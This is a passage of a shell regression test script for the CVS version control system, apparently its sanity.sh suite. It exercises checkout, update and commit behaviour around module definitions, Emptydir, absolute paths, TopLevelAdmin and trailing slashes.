cvsadm-N1d7h \"cat dir/dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t dotest cvsadm-N1d8 \"${testcvs} co -N -d dir 2d2mod\" \\\n\"${PROG} checkout: Updating dir/dir2d2/sub2d2\nU dir/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-N1d8b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d8d \"cat dir/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N1d8d \"cat dir/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N1d8d \"cat dir/dir2d2/sub2d2/CVS/Repository\" \\\n\"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t ## the ones in two-deep directories\n\n\t mkdir dir\n\t dotest cvsadm-N2d3 \"${testcvs} co -N -d dir/dir2 1mod\" \\\n\"${PROG} checkout: Updating dir/dir2/1mod\nU dir/dir2/1mod/file1\"\n\t dotest cvsadm-N2d3b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d3f \"cat dir/dir2/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d3h \"cat dir/dir2/1mod/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-N2d4 \"${testcvs} co -N -d dir/dir2 2mod\" \\\n\"${PROG} checkout: Updating dir/dir2/2mod\nU dir/dir2/2mod/file2\"\n\t dotest cvsadm-N2d4b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d4f \"cat dir/dir2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N2d4h \"cat dir/dir2/2mod/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-N2d5 \"${testcvs} co -N -d dir/dir2 1d1mod\" \\\n\"${PROG} checkout: Updating dir/dir2/dir1d1\nU dir/dir2/dir1d1/file1\"\n\t dotest cvsadm-N2d5b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d5f \"cat dir/dir2/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d5h \"cat dir/dir2/dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-N2d6 \"${testcvs} co -N -d dir/dir2 1d2mod\" \\\n\"${PROG} checkout: Updating dir/dir2/dir1d2\nU dir/dir2/dir1d2/file2\"\n\t dotest cvsadm-N2d6b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d6f \"cat dir/dir2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N2d6h \"cat dir/dir2/dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-N2d7 \"${testcvs} co -N -d dir/dir2 2d1mod\" \\\n\"${PROG} checkout: Updating dir/dir2/dir2d1/sub2d1\nU dir/dir2/dir2d1/sub2d1/file1\"\n\t dotest cvsadm-N2d7b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d7f \"cat dir/dir2/CVS/Repository\" \"CVSROOT/Emptydir\"\n\t dotest cvsadm-N2d7g \"cat dir/dir2/dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d7h \"cat dir/dir2/dir2d1/sub2d1/CVS/Repository\" \\\n\"mod1\"\n\t rm -rf CVS dir\n\n\t mkdir dir\n\t dotest cvsadm-N2d8 \"${testcvs} co -N -d dir/dir2 2d2mod\" \\\n\"${PROG} checkout: Updating dir/dir2/dir2d2/sub2d2\nU dir/dir2/dir2d2/sub2d2/file2\"\n\t dotest cvsadm-N2d8b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d8f \"cat dir/dir2/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-N2d8h \"cat dir/dir2/dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-N2d8j \"cat dir/dir2/dir2d2/sub2d2/CVS/Repository\" \\\n\"mod2/sub2\"\n\t rm -rf CVS dir\n\n\t fi # end of tests to be skipped for remote\n\n\t ##################################################\n\t ## That's enough of that, thank you very much.\n\t ##################################################\n\n\t dotest cvsadm-cleanup-1 \"${testcvs} -q co CVSROOT/config\" \\\n\"U CVSROOT/config\"\n\t cd CVSROOT\n\t echo \"# empty file\" >config\n\t dotest cvsadm-cleanup-2 \"${testcvs} -q ci -m cvsadm-cleanup\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n cd ..\n rm -rf CVSROOT CVS\n\n\t # remove our junk\n\t cd ..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/1mod\n\t rm -rf ${CVSROOT_DIRNAME}/1mod-2\n\t rm -rf ${CVSROOT_DIRNAME}/2mod\n\t rm -rf ${CVSROOT_DIRNAME}/2mod-2\n\t rm -rf ${CVSROOT_DIRNAME}/mod1\n\t rm -rf ${CVSROOT_DIRNAME}/mod1-2\n\t rm -rf ${CVSROOT_DIRNAME}/mod2\n\t rm -rf ${CVSROOT_DIRNAME}/mod2-2\n\t ;;\n\n\temptydir)\n\t # Various tests of the Emptydir (CVSNULLREPOS) code. See also:\n\t # cvsadm: tests of Emptydir in various module definitions\n\t # basicb: Test that \"Emptydir\" is non-special in ordinary contexts\n\n\t mkdir 1; cd 1\n\t dotest emptydir-1 \"${testcvs} co CVSROOT/modules\" \\\n\"U CVSROOT/modules\"\n\t echo \"# Module defs for emptydir tests\" > CVSROOT/modules\n\t echo \"2d1mod -d dir2d1/sub/sub2d1 mod1\" >> CVSROOT/modules\n\t echo \"2d1moda -d dir2d1/suba moda/modasub\" >> CVSROOT/modules\n\t echo \"2d1modb -d dir2d1/suba mod1\" >> CVSROOT/modules\n\t echo \"comb -a 2d1modb 2d1moda\" >> CVSROOT/modules\n\n\t dotest emptydir-2 \"${testcvs} ci -m add-modules\" \\\n\"${PROG} [a-z]*: Examining CVSROOT\nChecking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\" \\\n\"${PROG} commit: Examining CVSROOT\"\n\t rm -rf CVS CVSROOT\n\n\t mkdir ${CVSROOT_DIRNAME}/mod1 ${CVSROOT_DIRNAME}/moda\n\t # Populate. Not sure we really need to do this.\n\t dotest emptydir-3 \"${testcvs} -q co -l .\" \"\"\n\t dotest emptydir-3a \"${testcvs} co mod1 moda\" \\\n\"${PROG} checkout: Updating mod1\n${PROG} checkout: Updating moda\"\n\t echo \"file1\" > mod1/file1\n\t mkdir moda/modasub\n\t dotest emptydir-3b \"${testcvs} add moda/modasub\" \\\n\"Directory ${CVSROOT_DIRNAME}/moda/modasub added to the repository\"\n\t echo \"filea\" > moda/modasub/filea\n\t dotest emptydir-4 \"${testcvs} add mod1/file1 moda/modasub/filea\" \\\n\"${PROG} add: scheduling file .mod1/file1. for addition\n${PROG} add: scheduling file .moda/modasub/filea. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest emptydir-5 \"${testcvs} -q ci -m yup\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/mod1/file1,v\ndone\nChecking in mod1/file1;\n${CVSROOT_DIRNAME}/mod1/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/moda/modasub/filea,v\ndone\nChecking in moda/modasub/filea;\n${CVSROOT_DIRNAME}/moda/modasub/filea,v <-- filea\ninitial revision: 1\\.1\ndone\"\n\t rm -rf mod1 moda CVS\n\t # End Populate.\n\n\t dotest emptydir-6 \"${testcvs} co 2d1mod\" \\\n\"${PROG} checkout: Updating dir2d1/sub/sub2d1\nU dir2d1/sub/sub2d1/file1\"\n\t cd dir2d1\n\t touch emptyfile\n\t # It doesn't make any sense to add a file (or do much of anything\n\t # else) in Emptydir; Emptydir is a placeholder indicating that\n\t # the working directory doesn't correspond to anything in\n\t # the repository.\n\t dotest_fail emptydir-7 \"${testcvs} add emptyfile\" \\\n\"${PROG} \\[add aborted\\]: cannot add to ${CVSROOT_DIRNAME}/CVSROOT/Emptydir\"\n\t mkdir emptydir\n\t dotest_fail emptydir-8 \"${testcvs} add emptydir\" \\\n\"${PROG} \\[[a-z]* aborted\\]: cannot add to ${CVSROOT_DIRNAME}/CVSROOT/Emptydir\"\n\t cd ..\n\t rm -rf CVS dir2d1\n\n\t # OK, while we have an Emptydir around, test a few obscure\n\t # things about it.\n\t mkdir edir; cd edir\n\t dotest emptydir-9 \"${testcvs} -q co -l CVSROOT\" \\\n\"U CVSROOT${DOTSTAR}\"\n\t cd CVSROOT\n\t dotest_fail emptydir-10 \"test -d Emptydir\" ''\n\t # This tests the code in find_dirs which skips Emptydir.\n\t dotest emptydir-11 \"${testcvs} -q -n update -d -P\" ''\n\t cd ../..\n\t rm -r edir\n\t cd ..\n\n\t # Now start playing with moda.\n\t mkdir 2; cd 2\n\t dotest emptydir-12 \"${testcvs} -q co 2d1moda\" \\\n\"U dir2d1/suba/filea\"\n\t # OK, this is the crux of the matter. This used to show \"Emptydir\",\n\t # but everyone seemed to think it should show \"moda\". This\n\t # usually works better, but not always as shown by the following\n\t # test.\n\t dotest emptydir-13 \"cat dir2d1/CVS/Repository\" \"moda\"\n\t dotest_fail emptydir-14 \"${testcvs} co comb\" \\\n\"${PROG} checkout: existing repository ${CVSROOT_DIRNAME}/moda/modasub does not match ${CVSROOT_DIRNAME}/mod1\n${PROG} checkout: ignoring module 2d1modb\n${PROG} checkout: Updating dir2d1/suba\"\n\t dotest emptydir-15 \"cat dir2d1/CVS/Repository\" \"moda\"\n\t cd ..\n\n\t # Test the effect of a non-cvs directory already existing with the\n\t # same name as one in the modules file.\n\t mkdir 3; cd 3\n\t mkdir dir2d1\n\t dotest emptydir-16 \"${testcvs} co 2d1mod\" \\\n\"${PROG} checkout: Updating dir2d1/sub/sub2d1\nU dir2d1/sub/sub2d1/file1\"\n\t dotest emptydir-17 \"test -d dir2d1/CVS\"\n\n\t # clean up\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r 1 2 3\n\t rm -rf ${CVSROOT_DIRNAME}/mod1 ${CVSROOT_DIRNAME}/moda\n\t # I guess for the moment the convention is going to be\n\t # that we don't need to remove ${CVSROOT_DIRNAME}/CVSROOT/Emptydir\n\t ;;\n\n\tabspath)\n\t\n\t # These tests test the thituations thin thwitch thoo theck\n\t # things thout twith thabsolute thaths. Threally.\n\n\t #\n\t # CHECKOUTS\n\t #\n\n\t # Create a few modules to use\n\t mkdir ${CVSROOT_DIRNAME}/mod1 ${CVSROOT_DIRNAME}/mod2\n\t dotest abspath-1a \"${testcvs} co mod1 mod2\" \\\n\"${PROG} checkout: Updating mod1\n${PROG} checkout: Updating mod2\"\n\n\t # Populate the module\n\t echo \"file1\" > mod1/file1\n\t echo \"file2\" > mod2/file2\n\t cd mod1\n\t dotest abspath-1ba \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n cd ..\n cd mod2\n\t dotest abspath-1bb \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n cd ..\n\n\t dotest abspath-1c \"${testcvs} ci -m yup mod1 mod2\" \\\n\"${PROG} [a-z]*: Examining mod1\n${PROG} [a-z]*: Examining mod2\nRCS file: ${CVSROOT_DIRNAME}/mod1/file1,v\ndone\nChecking in mod1/file1;\n${CVSROOT_DIRNAME}/mod1/file1,v <-- file1\ninitial revision: 1.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/mod2/file2,v\ndone\nChecking in mod2/file2;\n${CVSROOT_DIRNAME}/mod2/file2,v <-- file2\ninitial revision: 1.1\ndone\"\n\t # Finished creating the module -- clean up.\n\t rm -rf CVS mod1 mod2\n\t # Done.\n\t \n\t # Try checking out the module in a local directory\n\t if $remote; then\n\t dotest_fail abspath-2a \"${testcvs} co -d ${TESTDIR}/1 mod1\" \\\n\"${PROG} \\[checkout aborted\\]: absolute pathname .${TESTDIR}/1. illegal for server\"\n\t dotest abspath-2a-try2 \"${testcvs} co -d 1 mod1\" \\\n\"${PROG} checkout: Updating 1\nU 1/file1\"\n\t else\n\t dotest abspath-2a \"${testcvs} co -d ${TESTDIR}/1 mod1\" \\\n\"${PROG} checkout: Updating ${TESTDIR}/1\nU ${TESTDIR}/1/file1\"\n\t fi # remote workaround\n\n\t dotest abspath-2b \"cat ${TESTDIR}/1/CVS/Repository\" \"mod1\"\n\n\t # Done. Clean up.\n\t rm -rf ${TESTDIR}/1\n\n\n\t # Now try in a subdirectory. We're not covering any more\n\t # code here, but we might catch a future error if someone\n\t # changes the checkout code.\n\n\t # Note that for the same reason that the shell command\n\t # \"touch 1/2/3\" requires directories 1 and 1/2 to already\n\t # exist, we expect ${TESTDIR}/1 to already exist. I believe\n\t # this is the behavior of CVS 1.9 and earlier.\n\t if $remote; then :; else\n\t dotest_fail abspath-3.1 \"${testcvs} co -d ${TESTDIR}/1/2 mod1\" \\\n\"${PROG} \\[checkout aborted\\]: could not change directory to requested checkout directory .${TESTDIR}/1.: No such file or directory\"\n\t fi\n\t dotest_fail abspath-3.2 \"${testcvs} co -d 1/2 mod1\" \\\n\"${PROG} \\[checkout aborted\\]: could not change directory to requested checkout directory .1.: No such file or directory\"\n\n\t mkdir 1\n\n\t if $remote; then\n\t # The server wants the directory to exist, but that is\n\t # a bug, it should only need to exist on the client side.\n\t # See also cvsadm-2d3.\n\t dotest_fail abspath-3a \"${testcvs} co -d 1/2 mod1\" \\\n\"${PROG} \\[checkout aborted\\]: could not change directory to requested checkout directory .1.: No such file or directory\"\n\t cd 1\n\t dotest abspath-3a-try2 \"${testcvs} co -d 2 mod1\" \\\n\"${PROG} checkout: Updating 2\nU 2/file1\"\n\t cd ..\n\t rm -rf 1/CVS\n\t else\n\t dotest abspath-3a \"${testcvs} co -d ${TESTDIR}/1/2 mod1\" \\\n\"${PROG} checkout: Updating ${TESTDIR}/1/2\nU ${TESTDIR}/1/2/file1\"\n\t fi # remote workaround\n\t dotest abspath-3b \"cat ${TESTDIR}/1/2/CVS/Repository\" \"mod1\"\n\n\t # For all the same reasons that we want \"1\" to already\n\t # exist, we don't to mess with it to traverse it, for\n\t # example by creating a CVS directory.\n\n\t dotest_fail abspath-3c \"test -d ${TESTDIR}/1/CVS\" ''\n\t # Done. Clean up.\n\t rm -rf ${TESTDIR}/1\n\n\n\t # Now try someplace where we don't have permission.\n\t mkdir ${TESTDIR}/barf\n\t chmod -w ${TESTDIR}/barf\n\t dotest_fail abspath-4r \"${testcvs} co -d ${TESTDIR}/barf/sub mod1\" \\\n\"${PROG} \\[checkout aborted\\]: absolute pathname .${TESTDIR}/barf/sub. illegal for server\" \\\n\"${PROG} \\[checkout aborted\\]: cannot make directory sub: Permission denied\"\n\t chmod +w ${TESTDIR}/barf\n\t rmdir ${TESTDIR}/barf\n\t # Done. Nothing to clean up.\n\n\n\t # Try checking out two modules into the same directory.\n\t if $remote; then\n\t dotest abspath-5ar \"${testcvs} co -d 1 mod1 mod2\" \\\n\"${PROG} checkout: Updating 1/mod1\nU 1/mod1/file1\n${PROG} checkout: Updating 1/mod2\nU 1/mod2/file2\"\n\t else\n\t dotest abspath-5a \"${testcvs} co -d ${TESTDIR}/1 mod1 mod2\" \\\n\"${PROG} checkout: Updating ${TESTDIR}/1/mod1\nU ${TESTDIR}/1/mod1/file1\n${PROG} checkout: Updating ${TESTDIR}/1/mod2\nU ${TESTDIR}/1/mod2/file2\"\n\t fi # end remote workaround\n\t dotest abspath-5b \"cat ${TESTDIR}/1/CVS/Repository\" \"\\.\"\n\t dotest abspath-5c \"cat ${TESTDIR}/1/mod1/CVS/Repository\" \"mod1\"\n\t dotest abspath-5d \"cat ${TESTDIR}/1/mod2/CVS/Repository\" \"mod2\"\n\t # Done. Clean up.\n\t rm -rf ${TESTDIR}/1\n\n\n\t # Try checking out the top-level module.\n\t if $remote; then\n\t dotest abspath-6ar \"${testcvs} co -d 1 .\" \\\n\"${PROG} checkout: Updating 1\n${PROG} checkout: Updating 1/CVSROOT\n${DOTSTAR}\n${PROG} checkout: Updating 1/mod1\nU 1/mod1/file1\n${PROG} checkout: Updating 1/mod2\nU 1/mod2/file2\"\n\t else\n\t dotest abspath-6a \"${testcvs} co -d ${TESTDIR}/1 .\" \\\n\"${PROG} checkout: Updating ${TESTDIR}/1\n${PROG} checkout: Updating ${TESTDIR}/1/CVSROOT\n${DOTSTAR}\n${PROG} checkout: Updating ${TESTDIR}/1/mod1\nU ${TESTDIR}/1/mod1/file1\n${PROG} checkout: Updating ${TESTDIR}/1/mod2\nU ${TESTDIR}/1/mod2/file2\"\n\t fi # end of remote workaround\n\t dotest abspath-6b \"cat ${TESTDIR}/1/CVS/Repository\" \"\\.\"\n\t dotest abspath-6c \"cat ${TESTDIR}/1/CVSROOT/CVS/Repository\" \"CVSROOT\"\n\t dotest abspath-6c \"cat ${TESTDIR}/1/mod1/CVS/Repository\" \"mod1\"\n\t dotest abspath-6d \"cat ${TESTDIR}/1/mod2/CVS/Repository\" \"mod2\"\n\t # Done. Clean up.\n\t rm -rf ${TESTDIR}/1\n\n\t # Test that an absolute pathname to some other directory\n\t # doesn't mess with the current working directory.\n\t mkdir 1\n\t cd 1\n\t if $remote; then\n\t dotest_fail abspath-7ar \"${testcvs} -q co -d ../2 mod2\" \\\n\"${PROG} checkout: protocol error: .\\.\\./2. contains more leading \\.\\.\n${PROG} \\[checkout aborted\\]: than the 0 which Max-dotdot specified\"\n\t cd ..\n\t dotest abspath-7a-try2r \"${testcvs} -q co -d 2 mod2\" \\\n\"U 2/file2\"\n\t cd 1\n\t else\n\t dotest abspath-7a \"${testcvs} -q co -d ${TESTDIR}/2 mod2\" \\\n\"U ${TESTDIR}/2/file2\"\n\t fi # remote workaround\n\t dotest abspath-7b \"ls\" \"\"\n\t dotest abspath-7c \"${testcvs} -q co mod1\" \\\n\"U mod1/file1\"\n\t cd mod1\n\t if $remote; then\n\t cd ../..\n\t dotest abspath-7dr \"${testcvs} -q co -d 3 mod2\" \\\n\"U 3/file2\"\n\t cd 1/mod1\n\t else\n\t dotest abspath-7d \"${testcvs} -q co -d ${TESTDIR}/3 mod2\" \\\n\"U ${TESTDIR}/3/file2\"\n\t fi # remote workaround\n\t dotest abspath-7e \"${testcvs} -q update -d\" \"\"\n\t cd ../..\n\t rm -r 1 2 3\n\n\t #\n\t # FIXME: do other functions here (e.g. update /tmp/foo)\n\t #\n\n\t # Finished with all tests. Remove the module.\n\t rm -rf ${CVSROOT_DIRNAME}/mod1 ${CVSROOT_DIRNAME}/mod2\n\n\t ;;\n\n\n\n\tabspath2)\n\t # More absolute path checks. The following used to attempt to create\n\t # directories in /:\n\t #\n\t # $ cvs -d:fork:/cvsroot co /foo\n\t # cvs checkout: warning: cannot make directory CVS in /: Permission denied\n\t # cvs [checkout aborted]: cannot make directory /foo: Permission denied\n\t # $\n\t #\n\t # The -z9 in this test also checks for an old server bug where the\n\t # server would block indefinitely attempting to read an EOF from the\n\t # client in the compression buffer shutdown routine.\n\t dotest_fail abspath2-1 \"$testcvs -z9 co /foo\" \\\n\"$PROG \\[checkout aborted\\]: Absolute module reference invalid: \\`/foo'\" \\\n\"$PROG \\[server aborted\\]: Absolute module reference invalid: \\`/foo'\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\t ;;\n\n\n\n\ttoplevel)\n\t # test the feature that cvs creates a CVS subdir also for\n\t # the toplevel directory\n\n\t # First set the TopLevelAdmin setting.\n\t mkdir 1; cd 1\n\t dotest toplevel-1a \"${testcvs} -q co CVSROOT/config\" \\\n\"U CVSROOT/config\"\n\t cd CVSROOT\n\t echo \"TopLevelAdmin=yes\" >config\n\t dotest toplevel-1b \"${testcvs} -q ci -m yes-top-level\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\t rm -r 1\n\n\t mkdir 1; cd 1\n\t dotest toplevel-1 \"${testcvs} -q co -l .\" ''\n\t mkdir top-dir second-dir\n\t dotest toplevel-2 \"${testcvs} add top-dir second-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/top-dir added to the repository\nDirectory ${CVSROOT_DIRNAME}/second-dir added to the repository\"\n\t cd top-dir\n\n\t touch file1\n\t dotest toplevel-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest toplevel-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/top-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/top-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\n\t cd second-dir\n\t touch file2\n\t dotest toplevel-3s \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest toplevel-4s \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/second-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/second-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t rm -r 1; mkdir 1; cd 1\n\t dotest toplevel-5 \"${testcvs} co top-dir\" \\\n\"${PROG} checkout: Updating top-dir\nU top-dir/file1\"\n\n\t dotest toplevel-6 \"${testcvs} update top-dir\" \\\n\"${PROG} update: Updating top-dir\"\n\t dotest toplevel-7 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating top-dir\"\n\n\t dotest toplevel-8 \"${testcvs} update -d top-dir\" \\\n\"${PROG} update: Updating top-dir\"\n\t # There is some sentiment that\n\t # \"${PROG} update: Updating \\.\n # ${PROG} update: Updating top-dir\"\n\t # is correct but it isn't clear why that would be correct instead\n\t # of the remote CVS behavior (which also updates CVSROOT).\n\t #\n\t # The DOTSTAR matches of a bunch of lines like\n\t # \"U CVSROOT/checkoutlist\". Trying to match them more precisely\n\t # seemed to cause trouble. For example CVSROOT/cvsignore will\n\t # be present or absent depending on whether we ran the \"ignore\"\n\t # test or not.\n\t dotest toplevel-9 \"${testcvs} update -d\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating CVSROOT\n${DOTSTAR}\n${PROG} update: Updating top-dir\"\n\n\t cd ..\n\t rm -r 1; mkdir 1; cd 1\n\t dotest toplevel-10 \"${testcvs} co top-dir\" \\\n\"${PROG} checkout: Updating top-dir\nU top-dir/file1\"\n\n\t # This tests more or less the same thing, in a particularly\n\t # \"real life\" example.\n\t dotest toplevel-11 \"${testcvs} -q update -d second-dir\" \\\n\"U second-dir/file2\"\n\n\t # Now remove the CVS directory (people may do this manually,\n\t # especially if they formed their habits with CVS\n\t # 1.9 and older, which didn't create it. Or perhaps the working\n\t # directory itself was created with 1.9 or older).\n\t rm -r CVS\n\t # Now set the permissions so we can't recreate it.\n\t if test -n \"$remotehost\"; then\n\t # Cygwin again.\n\t $CVS_RSH $remotehost \"chmod -w $TESTDIR/1\"\n\t else\n\t chmod -w ../1\n\t fi\n\t # Now see whether CVS has trouble because it can't create CVS.\n\t # First string is for local, second is for remote.\n\t dotest toplevel-12 \"${testcvs} co top-dir\" \\\n\"${PROG} checkout: warning: cannot make directory CVS in \\.: Permission denied\n${PROG} checkout: Updating top-dir\" \\\n\"${PROG} checkout: warning: cannot make directory CVS in \\.: Permission denied\n${PROG} checkout: in directory \\.:\n${PROG} checkout: cannot open CVS/Entries for reading: No such file or directory\n${PROG} checkout: Updating top-dir\"\n\n\t chmod +w ../1\n\n\t dotest toplevel-cleanup-1 \"${testcvs} -q co CVSROOT/config\" \\\n\"U CVSROOT/config\"\n\t cd CVSROOT\n\t echo \"# empty file\" >config\n\t dotest toplevel-cleanup-2 \"${testcvs} -q ci -m toplevel-cleanup\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/top-dir ${CVSROOT_DIRNAME}/second-dir\n\t ;;\n\n\ttoplevel2)\n\t # Similar to toplevel, but test the case where TopLevelAdmin=no.\n\n\t # First set the TopLevelAdmin setting.\n\t mkdir 1; cd 1\n\t dotest toplevel2-1a \"${testcvs} -q co CVSROOT/config\" \\\n\"U CVSROOT/config\"\n\t cd CVSROOT\n\t echo \"TopLevelAdmin=no\" >config\n\t dotest toplevel2-1b \"${testcvs} -q ci -m no-top-level\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\t rm -r 1\n\n\t # Now set up some directories and subdirectories\n\t mkdir 1; cd 1\n\t dotest toplevel2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir top-dir second-dir\n\t dotest toplevel2-2 \"${testcvs} add top-dir second-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/top-dir added to the repository\nDirectory ${CVSROOT_DIRNAME}/second-dir added to the repository\"\n\t cd top-dir\n\n\t touch file1\n\t dotest toplevel2-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest toplevel2-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/top-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/top-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ..\n\n\t cd second-dir\n\t touch file2\n\t dotest toplevel2-3s \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest toplevel2-4s \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/second-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/second-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t rm -r 1; mkdir 1; cd 1\n\t dotest toplevel2-5 \"${testcvs} co top-dir\" \\\n\"${PROG} checkout: Updating top-dir\nU top-dir/file1\"\n\n\t dotest toplevel2-6 \"${testcvs} update top-dir\" \\\n\"${PROG} update: Updating top-dir\"\n\t dotest toplevel2-7 \"${testcvs} update\" \\\n\"${PROG} update: Updating top-dir\"\n\n\t dotest toplevel2-8 \"${testcvs} update -d top-dir\" \\\n\"${PROG} update: Updating top-dir\"\n\t # Contrast this with toplevel-9, which has TopLevelAdmin=yes.\n\t dotest toplevel2-9 \"${testcvs} update -d\" \\\n\"${PROG} update: Updating top-dir\"\n\n\t cd ..\n\t rm -r 1; mkdir 1; cd 1\n\t dotest toplevel2-10 \"${testcvs} co top-dir\" \\\n\"${PROG} checkout: Updating top-dir\nU top-dir/file1\"\n\t # This tests more or less the same thing, in a particularly\n\t # \"real life\" example. With TopLevelAdmin=yes, this command\n\t # would give us second-dir and CVSROOT directories too.\n\t dotest toplevel2-11 \"${testcvs} -q update -d\" \"\"\n\n\t dotest toplevel2-cleanup-1 \"${testcvs} -q co CVSROOT/config\" \\\n\"U CVSROOT/config\"\n\t cd CVSROOT\n\t echo \"# empty file\" >config\n\t dotest toplevel2-cleanup-2 \"${testcvs} -q ci -m toplevel2-cleanup\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/top-dir ${CVSROOT_DIRNAME}/second-dir\n\t ;;\n\n\n\n\trstar-toplevel)\n\t # This test used to confirm a bug that existed in the r* commands\n\t # run against the top-level project prior to CVS 1.11.18 & 1.12.10.\n\t #\n\t # The assertion failure was something like:\n\t # do_recursion: Assertion \\`strstr (repository, \\\"/\\./\\\") == ((void \\*)0)' failed\\..*\"\n\t dotest rstar-toplevel-1 \"$testcvs -q rlog .\" \\\n\"\nRCS file: $CVSROOT_DIRNAME/CVSROOT$DOTSTAR\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\t;;\n\n\n\n\ttrailingslashes)\n\t # Some tests of CVS's reactions to path specifications containing\n\t # trailing slashes.\n\t mkdir trailingslashes; cd trailingslashes\n\t dotest trailingslashes-init-1 \"$testcvs -Q co -ldt .\"\n\t dotest trailingslashes-init-2 \"$testcvs -Q co -dt2 .\"\n\t cd t\n\t echo \"Ahh'll be baaack.\" >topfile\n\t dotest trailingslashes-init-3 \"$testcvs -Q add topfile\"\n\t dotest trailingslashes-init-4 \"$testcvs -Q ci -mto-top\" \\\n\"RCS file: $CVSROOT_DIRNAME/topfile,v\ndone\nChecking in topfile;\n$CVSROOT_DIRNAME/topfile,v <-- topfile\ninitial revision: 